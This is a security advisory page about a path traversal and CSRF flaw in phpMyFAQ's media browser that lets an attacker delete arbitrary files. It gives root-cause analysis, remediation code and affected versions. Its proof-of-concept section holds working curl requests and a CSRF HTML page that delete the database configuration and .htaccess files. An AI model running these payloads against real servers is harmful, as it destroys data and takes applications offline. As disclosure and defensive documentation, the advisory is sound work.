High

phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController

  • Disclosed: 01.04.2026
  • Updated: 11.10.2026 10:22

Summary

The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php

Lines 43-66:

php
#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]
public function index(Request $request): JsonResponse|Response
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);
    // ...
    $data = json_decode($request->getContent());
    $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);

    if ($action === 'fileRemove') {
        $file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);
        $file = PMF_CONTENT_DIR . '/user/images/' . $file;

        if (file_exists($file)) {
            unlink($file);
        }
        // Returns success without checking if deletion was within intended directory
    }
}

Root Causes:

  1. No path traversal prevention: FILTER_SANITIZE_SPECIAL_CHARS does not remove or encode ../ sequences. It only encodes HTML special characters.
  2. No CSRF protection: The endpoint does not call Token::verifyToken(). Compare with ImageController::upload() which validates CSRF tokens at line 48.
  3. No basename() or realpath() validation: The code does not use basename() to strip directory components or realpath() to verify the resolved path stays within the intended directory.
  4. HTTP method mismatch: The route is defined as methods: ['GET'] but reads the request body via $request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.

Comparison with secure implementation in the same codebase:

The ImageController::upload() method (same directory) properly validates file names:

php
if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
    // Rejects files with path traversal sequences
}

The FilesystemStorage::normalizePath() method also properly validates paths:

php
foreach ($segments as $segment) {
    if ($segment === '..' || $segment === '') {
        throw new StorageException('Invalid storage path.');
    }
}

PoC

Direct exploitation (requires authenticated admin session):

bash
# Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=valid_admin_session' \
  -d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'

# Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=valid_admin_session' \
  -d '{"action":"fileRemove","name":"../../../.htaccess"}'

CSRF exploitation (attacker hosts this HTML page):

html
<html>
<body>
<script>
fetch('https://target.example.com/admin/api/media-browser', {
  method: 'GET',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    action: 'fileRemove',
    name: '../../../content/core/config/database.php'
  }),
  credentials: 'include'
});
</script>
</body>
</html>

When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.

Impact

  • Server compromise: Deleting content/core/config/database.php causes total application failure (database connection loss).
  • Security bypass: Deleting .htaccess or web.config can expose sensitive directories and files.
  • Data loss: Arbitrary file deletion on the server filesystem.
  • Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.

Remediation

  1. Add path traversal validation:
php
if ($action === 'fileRemove') {
    $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));
    $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);
    $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');

    if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {
        return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);
    }

    if (file_exists($targetPath)) {
        unlink($targetPath);
    }
}
  1. Add CSRF protection:
php
if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {
    return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);
}
  1. Change HTTP method to POST or DELETE to align with proper HTTP semantics.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package phpmyfaq/phpmyfaq < 4.1.1 4.1.1

References

CVSS score 8.7/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H
Weakness (CWE)
CWE-22
Platform
Composer
Package
phpmyfaq/phpmyfaq
Disclosed
01.04.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-38m8-xrfj-v38x - CC BY 4.0

Vulnerability history: phpmyfaq/phpmyfaq

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (47) in the archive
Total entries
47
First → latest
10.2022 09.2026
Without a fix
2
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 18
  • Medium 25
  • Low 2

Disclosures per year

  1. 2022: 1
  2. 2023: 0
  3. 2024: 11
  4. 2025: 3
  5. 2026: 32
Severity:
  1. High · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. High · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. High · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. High · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  5. phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController this entry
    High · 8.7 CVE-2026-34728 < 4.1.1 4.1.1
  6. High · 7.2 CVE-2024-28105 >= 3.2.5, < 3.2.6 3.2.6
  7. High · 8.8 CVE-2024-28107 >= 3.2.5, < 3.2.6 3.2.6
  8. High · 8.8 CVE-2024-27299 >= 3.2.5, < 3.2.6 3.2.6
  9. High · 8.4 CVE-2022-3608 < 3.2.0-alpha 3.2.0-alpha

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.